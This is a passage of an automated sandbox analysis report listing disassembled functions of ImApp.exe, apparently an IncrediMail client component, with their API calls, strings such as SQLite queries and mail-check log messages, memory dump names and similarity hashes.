_invalid_parameter_noinfo.MSVCR80(00000000,SELECT 1 FROM Groups WHERE GroupID=:GroupID,00000001,00000001,SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,00000000), ref: 020D9953

Strings

GroupID, xrefs: 020D98F9
SELECT 1 FROM Contacts WHERE ContactID=:ContactID, xrefs: 020D979D, 020D97B4
SELECT 1 FROM Groups WHERE GroupID=:GroupID, xrefs: 020D98FE, 020D9915
ContactID, xrefs: 020D9795

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: ContactID$GroupID$SELECT 1 FROM Contacts WHERE ContactID=:ContactID$SELECT 1 FROM Groups WHERE GroupID=:GroupID
API String ID: 3215553584-2119027309
Opcode ID: 97397d6a23a088218ed5656d12b6c85e372787cacfe2db301a1fe72684f14580
Instruction ID: 20b8ba34ec864557df581a64da43f12bdc34f99f528591e1683ad25a658a86bf
Opcode Fuzzy Hash: 97397d6a23a088218ed5656d12b6c85e372787cacfe2db301a1fe72684f14580
Instruction Fuzzy Hash: BF7178B16483419FC700DF28C480A5EFBEABFD8758F104A1EF58997250C771E946DB92

Function 004018D0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 134COMMON

Download Yara Rule

APIs

#1916.IMUTILSU(AutoCheckMail,Begin CImTray::TimerCheckForMail.,AutoCheckMail,00000000,FC8A6036), ref: 00401907
#1916.IMUTILSU(AutoCheckMail,Got spooler object,AutoCheckMail,00000000,?,FC8A6036), ref: 00401960
#310.MFC80U(?,FC8A6036), ref: 0040198D
#2311.MFC80U(?,OnlineMode = %d,?,?,FC8A6036), ref: 004019A6
#3391.MFC80U(AutoCheckMail,00000000), ref: 004019B9
#1916.IMUTILSU(AutoCheckMail,00000000), ref: 004019C5
#578.MFC80U ref: 004019D9
#1916.IMUTILSU(AutoCheckMail,Perform Send/Receive,AutoCheckMail,00000000), ref: 00401A0B
#1916.IMUTILSU(AutoCheckMail,Finish CImTray::TimerCheckForMail.,AutoCheckMail,00000000,?,FC8A6036), ref: 00401A56

Strings

AutoCheckMail, xrefs: 004018F8, 00401902, 00401951, 0040195B, 004019B0, 004019C0, 004019FC, 00401A06, 00401A47, 00401A51
Got spooler object, xrefs: 00401956
Finish CImTray::TimerCheckForMail., xrefs: 00401A4C
Perform Send/Receive, xrefs: 00401A01
Begin CImTray::TimerCheckForMail., xrefs: 004018FD
OnlineMode = %d, xrefs: 004019A0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1916$#2311#310#3391#578
String ID: AutoCheckMail$Begin CImTray::TimerCheckForMail.$Finish CImTray::TimerCheckForMail.$Got spooler object$OnlineMode = %d$Perform Send/Receive
API String ID: 1929496097-1043387724
Opcode ID: 0d4770e46f798815b411305b71bda2b9d5af6090093da1b7af47bee736a7095b
Instruction ID: 6e83edd546dbc1be00047d64869a441707cf91d1a5b452d255893ae9867d4d63
Opcode Fuzzy Hash: 0d4770e46f798815b411305b71bda2b9d5af6090093da1b7af47bee736a7095b
Instruction Fuzzy Hash: 96419A71304210AFC210EF18DC81E5BB7B5EFC5B14FA04A5EF054A7291D778EA05CBA9

Function 10003810 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

#20.IMDBU(DC7F1836), ref: 1000383C
#310.MFC80U ref: 1000384F
#2311.MFC80U(?,PRAGMA table_info('%s');,?), ref: 10003869
#12.IMDBU(?,?,00000001), ref: 10003880
#310.MFC80U(?,?,00000001), ref: 100038A6

Part of subcall function 10008810: #6735.MFC80U(?,DC7F1836,00000000,00000003,?,?,00000000,1000ABD9,000000FF,100038C0,?,Name), ref: 10008840
Part of subcall function 10008810: #4074.MFC80U(?,?,00000000,1000ABD9,000000FF,100038C0,?,Name), ref: 10008852
Part of subcall function 10008810: #578.MFC80U(?,?,?,00000000,1000ABD9,000000FF,100038C0,?,Name), ref: 10008882

#776.MFC80U(?,?,Name), ref: 100038F7
#1476.MFC80U(?,?,Name), ref: 10003902
#578.MFC80U ref: 10003941
#1176.MFC80U ref: 10003957
#578.MFC80U ref: 1000396A
#17.IMDBU(?,?,00000001), ref: 10003974
#578.MFC80U ref: 10003982
#16.IMDBU ref: 10003994

Strings

Name, xrefs: 100038B1
PRAGMA table_info('%s');, xrefs: 10003863

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#310$#1176#1476#2311#4074#6735#776
String ID: Name$PRAGMA table_info('%s');
API String ID: 801974781-3220035264
Opcode ID: 247bdcb2c3ca7f23695f12738371dd6f715ec2d50733bfec18760193040db102
Instruction ID: 4fc618d9554088b0b080bbf355dec4962901800a7cb8658bf369b0615c02db66
Opcode Fuzzy Hash: 247bdcb2c3ca7f23695f12738371dd6f715ec2d50733bfec18760193040db102
Instruction Fuzzy Hash: 49414B311083858FE705CF14C894A9BB7E8FF84384F00895DF596C72AADB70EA49CB52

Function 00414D60 Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

#14.IMUTILSU(FC8A6036), ref: 00414D8A
#427.MFC80U(0000000A), ref: 00414D9D
#513.IMUTILSU(?,00000000,0000000A), ref: 00414DB2
#310.MFC80U(?,00000000,0000000A), ref: 00414DBB
#310.MFC80U ref: 00414DCA
#3017.MFC80U(?,?,?), ref: 00414DF6
#3391.MFC80U(?,?,?), ref: 00414DFF
#675.IMUTILSU(SSCE,UserLexPath,00000000), ref: 00414E10
#1348.IMUTILSU(SSCE,UserLexPath,00000000), ref: 00414E17
#578.MFC80U ref: 00414E6C
#578.MFC80U ref: 00414E7B
#664.MFC80U ref: 00414E8A
#73.IMUTILSU ref: 00414E9B

Strings

SSCE, xrefs: 00414E0B
UserLexPath, xrefs: 00414E06

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #310#578$#1348#3017#3391#427#513#664#675
String ID: SSCE$UserLexPath
API String ID: 2512780582-1619486113
Opcode ID: e44976cdd5410712aae816acc19b41269513cbff473f2870f48c66f7720593e0
Instruction ID: 9491a85d1166c79f4ba78fdafa364736740f815f9a35a14a3341dd7c483deacc
Opcode Fuzzy Hash: e44976cdd5410712aae816acc19b41269513cbff473f2870f48c66f7720593e0
Instruction Fuzzy Hash: C8316031208380AFC314DF24D845B9AB7E4FF95714F404A1EF186832E1DBB8D949CB9A

Function 020C91C0 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,00000000,?,00000001,?,00000001), ref: 020C91F4
#310.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EFD0A), ref: 020C9206
#310.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EFD0A), ref: 020C9236
#2311.MFC80U(?,%s = :%s,ContactID,ContactID), ref: 020C9253
#899.MFC80U(020F50C8,?,?,?,?,?,00000001,?,00000001), ref: 020C926B
#896.MFC80U(?,?,?,?,?,?,00000001,?,00000001), ref: 020C927A
#578.MFC80U ref: 020C9289
#280.MFC80U(?), ref: 020C92AB
#2311.MFC80U(?,UPDATE Contacts SET %s WHERE ContactID=:ContactID,?), ref: 020C92BE
#280.MFC80U(?,?,?,?,?,00000001,?,00000001), ref: 020C92CA
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EFD0A), ref: 020C92E1
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EFD0A), ref: 020C92F0

Strings

UPDATE Contacts SET %s WHERE ContactID=:ContactID, xrefs: 020C92B8
%s = :%s, xrefs: 020C924D
ContactID, xrefs: 020C9247, 020C9248

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578$#2311#280$#896#899
String ID: %s = :%s$ContactID$UPDATE Contacts SET %s WHERE ContactID=:ContactID
API String ID: 928680686-1484656775
Opcode ID: 32083be1b183acc523efceedb32bb1b445373cbfd320979e11740125e593ab9c
Instruction ID: 0cbb54f5e7fdd548c214a2ebdfd34dae6b84a9abbd006021d12284fb94d92873
Opcode Fuzzy Hash: 32083be1b183acc523efceedb32bb1b445373cbfd320979e11740125e593ab9c
Instruction Fuzzy Hash: 34316B71588340CFD344DF14D888BAAFBE4BB94718F440D1DF58A93691DB78AA5CCBA2

Function 004194A0 Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 66timeCOMMON

Download Yara Rule

APIs

#1916.IMUTILSU(HideModeLog,Tray OnQuit,HideModeLog,00000000), ref: 004194B5

Part of subcall function 004163D0: #23.IMUTILSU(FC8A6036), ref: 0041640F
Part of subcall function 004163D0: #667.IMUTILSU(FC8A6036), ref: 00416421
Part of subcall function 004163D0: #1359.IMUTILSU(00000001,ImBpp.exe,00000001,FC8A6036), ref: 00416437
Part of subcall function 004163D0: #3391.MFC80U(/quit,00000000,00000000), ref: 00416450
Part of subcall function 004163D0: ShellExecuteW.SHELL32(00000000,open,00000000), ref: 0041645D
Part of subcall function 004163D0: #578.MFC80U ref: 0041646E
Part of subcall function 004163D0: #1916.IMUTILSU(HideModeLog,RemoveTrayMsgIcon,HideModeLog,00000000,FC8A6036), ref: 00416484
Part of subcall function 004163D0: Shell_NotifyIconW.SHELL32 ref: 004164C3
Part of subcall function 004163D0: #81.IMUTILSU ref: 004164D8

#675.IMUTILSU(00000000,ManagerRestart,?,00000000), ref: 004194E4
#1428.IMUTILSU(00000000,ManagerRestart,?,00000000), ref: 004194EB
#675.IMUTILSU(00000000,ManagerRestart,00000000,ManagerRestart,?,00000000), ref: 004194FE
#1461.IMUTILSU(00000000,ManagerRestart,00000000,ManagerRestart,?,00000000), ref: 00419505
#1916.IMUTILSU(HideModeLog, before Perform cleanups and exit.,HideModeLog,00000000,00000000,ManagerRestart,?,00000000), ref: 0041951B
#1916.IMUTILSU(HideModeLog,In case the lock count is not zero, set a timer for 1 sec to check it again.,HideModeLog,00000000), ref: 00419546
#1916.IMUTILSU(HideModeLog,Setting the timer for 1 sec to check the lock count status.,HideModeLog,00000000), ref: 00419568
SetTimer.USER32(?,00001A15,000003E8,00000000), ref: 00419580

Strings

before Perform cleanups and exit., xrefs: 00419511
ManagerRestart, xrefs: 004194D5, 004194F7
Tray OnQuit, xrefs: 004194A9
HideModeLog, xrefs: 004194A4, 004194AE, 0041950C, 00419516, 00419537, 00419541, 00419559, 00419563
In case the lock count is not zero, set a timer for 1 sec to check it again., xrefs: 0041953C
Setting the timer for 1 sec to check the lock count status., xrefs: 0041955E

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1916$#675$#1359#1428#1461#3391#578#667ExecuteIconNotifyShellShell_Timer
String ID: before Perform cleanups and exit.$HideModeLog$In case the lock count is not zero, set a timer for 1 sec to check it again.$ManagerRestart$Setting the timer for 1 sec to check the lock count status.$Tray OnQuit
API String ID: 1143150731-3960472764
Opcode ID: e880afa95622ffe62cda9d6c440f85e935582a58cb2cec625de3bb8f10cf7988
Instruction ID: dcd709ddcdaa83f26d151bd05e151c494b29275084016efd751cab2177cd547f
Opcode Fuzzy Hash: e880afa95622ffe62cda9d6c440f85e935582a58cb2cec625de3bb8f10cf7988
Instruction Fuzzy Hash: 06118970BC432136E614BB25AD47F9A25649F40F0AFA1091FF145792C3DBECE641879D

Function 0040C500 Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

#1079.MFC80U ref: 0040C503
SftTree_UnregisterApp.SFTTREE_IX86_U_60(?), ref: 0040C50C
SetEvent.KERNEL32(00000000,?), ref: 0040C51B
CloseHandle.KERNEL32(00000000), ref: 0040C527
#242.IMUTILSU(00432990,000007D0,?), ref: 0040C54A
#190.IMUTILSU(?,?), ref: 0040C55D
GdiplusShutdown.GDIPLUS(?,?), ref: 0040C581
#1086.IMUTILSU(?), ref: 0040C592
#388.IMUTILSU(?), ref: 0040C599
#1306.IMLOOKU(?), ref: 0040C59E
#51.IMDBU(?), ref: 0040C5A3
#2267.IMUTILSU(?), ref: 0040C5A8
CoUninitialize.OLE32 ref: 0040C5CA

Strings

H*C, xrefs: 0040C5B6
H*C, xrefs: 0040C5C0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1079#1086#1306#190#2267#242#388CloseEventGdiplusHandleShutdownTree_UninitializeUnregister
String ID: H*C$H*C
API String ID: 1212070961-2190203066
Opcode ID: 348391208a7e0a39b4c34e7ae0df4e403dcf8006c95dcbf14403fa5454713ea7
Instruction ID: 914b71fcf0b4836146c2dac184cff9e92293575bb5009e9754215e490ec9f8e7
Opcode Fuzzy Hash: 348391208a7e0a39b4c34e7ae0df4e403dcf8006c95dcbf14403fa5454713ea7
Instruction Fuzzy Hash: 8B118EB0700710DBC624BBB5D946B9A72A4FF48308F04552EF54597391DBBCE880CBAE

Function 00403B60 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 121COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00403B84
#314.MFC80U(00000000,FC8A6036), ref: 00403B8E
#6735.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD11,000000FF), ref: 00403BB8
#1472.MFC80U(RulesManager,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD11,000000FF), ref: 00403BCC
#1472.MFC80U(RegInfo,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD11,000000FF), ref: 00403C02
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD11,000000FF), ref: 00403CA4
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD11), ref: 00403CCF
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD11), ref: 00403D0E

Strings

RulesManager, xrefs: 00403BC3
RegInfo, xrefs: 00403BF9
Tray, xrefs: 00403C67
SpoolerEvents, xrefs: 00403C30

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1472#6751$#1067#314#578#6735
String ID: RegInfo$RulesManager$SpoolerEvents$Tray
API String ID: 1105249752-451239176
Opcode ID: 5401218d1efd00d49834bca4c622487a2a2cdc9aa804e9f21a5c294c6fce3ef8
Instruction ID: 0234d470934366cc112dc15243d634485c6695d0eafc62d312d6f4bdebaa1510
Opcode Fuzzy Hash: 5401218d1efd00d49834bca4c622487a2a2cdc9aa804e9f21a5c294c6fce3ef8
Instruction Fuzzy Hash: 56514975308701DFD324CF15E984B16BBE4FB88714F90892EE8AA933A0E774E945CB49

Function 10003B00 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,DC7F1836), ref: 10003B36
#731.IMUTILSU(?,DC7F1836), ref: 10003B44
SetEvent.KERNEL32(?), ref: 10003B5E
SetEvent.KERNEL32(00000340), ref: 10003B66
#310.MFC80U ref: 10003B6C
#774.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,1000B25A,000000FF), ref: 10003B82
sqlite3_open16.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000B25A,000000FF), ref: 10003B91
sqlite3_busy_timeout.SQLITE3(00000000,0001D4C0), ref: 10003BB0
#6732.MFC80U(PRAGMA temp_store = 2;), ref: 10003BC5
sqlite3_exec.SQLITE3(?,?,00000000,00000000,00000000), ref: 10003BDC
#578.MFC80U ref: 10003BED
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000B25A), ref: 10003C02
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,1000B25A,000000FF), ref: 10003C14

Strings

PRAGMA temp_store = 2;, xrefs: 10003BBC

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578CriticalEventSection$#310#6732#731#774EnterLeavesqlite3_busy_timeoutsqlite3_execsqlite3_open16
String ID: PRAGMA temp_store = 2;
API String ID: 1221402092-2081352122
Opcode ID: fc20be699997a05f0aaca798ff4b67a947a1656f9e0ee4b17e97bcf069d051d9
Instruction ID: 7849347e110cdc4f227268e85d1fe35fe15becf108fcb0441a437ab7b31fe0aa
Opcode Fuzzy Hash: fc20be699997a05f0aaca798ff4b67a947a1656f9e0ee4b17e97bcf069d051d9
Instruction Fuzzy Hash: 9A31AD755043459BE310DF24CD85F8BBBE8EB89684F00491DF98693295EB75F908CBA2

Function 020CA470 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,00000000,?,?), ref: 020CA4A4
#310.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA4B6
#310.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA4E6
#2311.MFC80U(00001FD4,%s = :%s,020F1BB4,020F1BB4,?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA503
#899.MFC80U(020F50C8), ref: 020CA51B
#896.MFC80U(00001FE4), ref: 020CA52A
#578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA539
#280.MFC80U(00001FD0,?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA558
#2311.MFC80U(00001FD0,UPDATE Groups SET %s WHERE GroupID=:GroupID,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA56B
#280.MFC80U(00001FDC), ref: 020CA577
#578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA58E
#578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA59D

Strings

%s = :%s, xrefs: 020CA4FD
UPDATE Groups SET %s WHERE GroupID=:GroupID, xrefs: 020CA565

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578$#2311#280$#896#899
String ID: %s = :%s$UPDATE Groups SET %s WHERE GroupID=:GroupID
API String ID: 928680686-3891401709
Opcode ID: 73de0026e29ddf40ddde82adfa5d8213b08d76b0c7334d344e2f9a0687b11e5b
Instruction ID: 46988ce1c023f53daf0b6b988aeb260945ed460d1ac398354a1ea4d9c173134f
Opcode Fuzzy Hash: 73de0026e29ddf40ddde82adfa5d8213b08d76b0c7334d344e2f9a0687b11e5b
Instruction Fuzzy Hash: D0318A71588344CBD340DF14D888B9AFBE4BB94708F444D1DF58A93690DB78AA4CCBA2

Function 004163D0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

#23.IMUTILSU(FC8A6036), ref: 0041640F
#667.IMUTILSU(FC8A6036), ref: 00416421
#1359.IMUTILSU(00000001,ImBpp.exe,00000001,FC8A6036), ref: 00416437
#3391.MFC80U(/quit,00000000,00000000), ref: 00416450
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 0041645D
#578.MFC80U ref: 0041646E
#1916.IMUTILSU(HideModeLog,RemoveTrayMsgIcon,HideModeLog,00000000,FC8A6036), ref: 00416484
Shell_NotifyIconW.SHELL32 ref: 004164C3
#81.IMUTILSU ref: 004164D8

Strings

ImBpp.exe, xrefs: 00416431
HideModeLog, xrefs: 00416475, 0041647F
/quit, xrefs: 00416449
open, xrefs: 00416457
RemoveTrayMsgIcon, xrefs: 0041647A

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#1916#3391#578#667ExecuteIconNotifyShellShell_
String ID: /quit$HideModeLog$ImBpp.exe$RemoveTrayMsgIcon$open
API String ID: 3811371469-2743839841
Opcode ID: 0f00395c75f85a797a2d57edb9f4ac589583e75289e6f607cbb72f6a23f7fd54
Instruction ID: 8b7c898798214daed263c0e6519c021df88b1f55fabcf05a57041766e72987b0
Opcode Fuzzy Hash: 0f00395c75f85a797a2d57edb9f4ac589583e75289e6f607cbb72f6a23f7fd54
Instruction Fuzzy Hash: A9218FB1648380AFC334EF24D985BDEB7E8FB84714F80092EF18986291DB785544CB5A

Function 004022D0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 53COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036), ref: 004022F8
#2311.MFC80U(?,/%s /%s:%s,cnp,auto,b4im,?,?,?,?,?,?,?,0041D9A2,000000FF), ref: 0040231F
#1359.IMUTILSU(?,IncMail.exe,00000001,?,?,?,?,?,?,?,0041D9A2,000000FF), ref: 00402331
#3391.MFC80U(00000000,00000001), ref: 00402348
#3391.MFC80U(00000000), ref: 00402351
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 0040235F
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D9A2), ref: 0040236E
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D9A2), ref: 00402380

Strings

cnp, xrefs: 00402310
b4im, xrefs: 00402306
/%s /%s:%s, xrefs: 00402319
IncMail.exe, xrefs: 0040232B
auto, xrefs: 0040230B
open, xrefs: 00402358

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #3391#578$#1359#2311#310ExecuteShell
String ID: /%s /%s:%s$IncMail.exe$auto$b4im$cnp$open
API String ID: 2044617309-1967899708
Opcode ID: 9b1d61452893e3f67c99cf330f62badb5736afe8cbc977e12a338c93f0ce737a
Instruction ID: ec4d611f0fa078c5b6a2a2ee3174ae13b569d621f29e2063c4e6eef52083d5e2
Opcode Fuzzy Hash: 9b1d61452893e3f67c99cf330f62badb5736afe8cbc977e12a338c93f0ce737a
Instruction Fuzzy Hash: 8111B276348340BFC314EF14DD49B8A7BE4FB54B11F900A2DF441922E0DBB89649CBAA

Function 1000A095 Relevance: 24.1, APIs: 16, Instructions: 141sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?,00000001,?,1000A2BF,00000001,?,?,1000D490,00000010,1000A38B,?), ref: 1000A0F2
InterlockedCompareExchange.KERNEL32(100107BC,?,00000000), ref: 1000A0FB
_amsg_exit.MSVCR80 ref: 1000A119
_initterm_e.MSVCR80 ref: 1000A134
_initterm.MSVCR80 ref: 1000A150
InterlockedExchange.KERNEL32(100107BC,00000000), ref: 1000A165
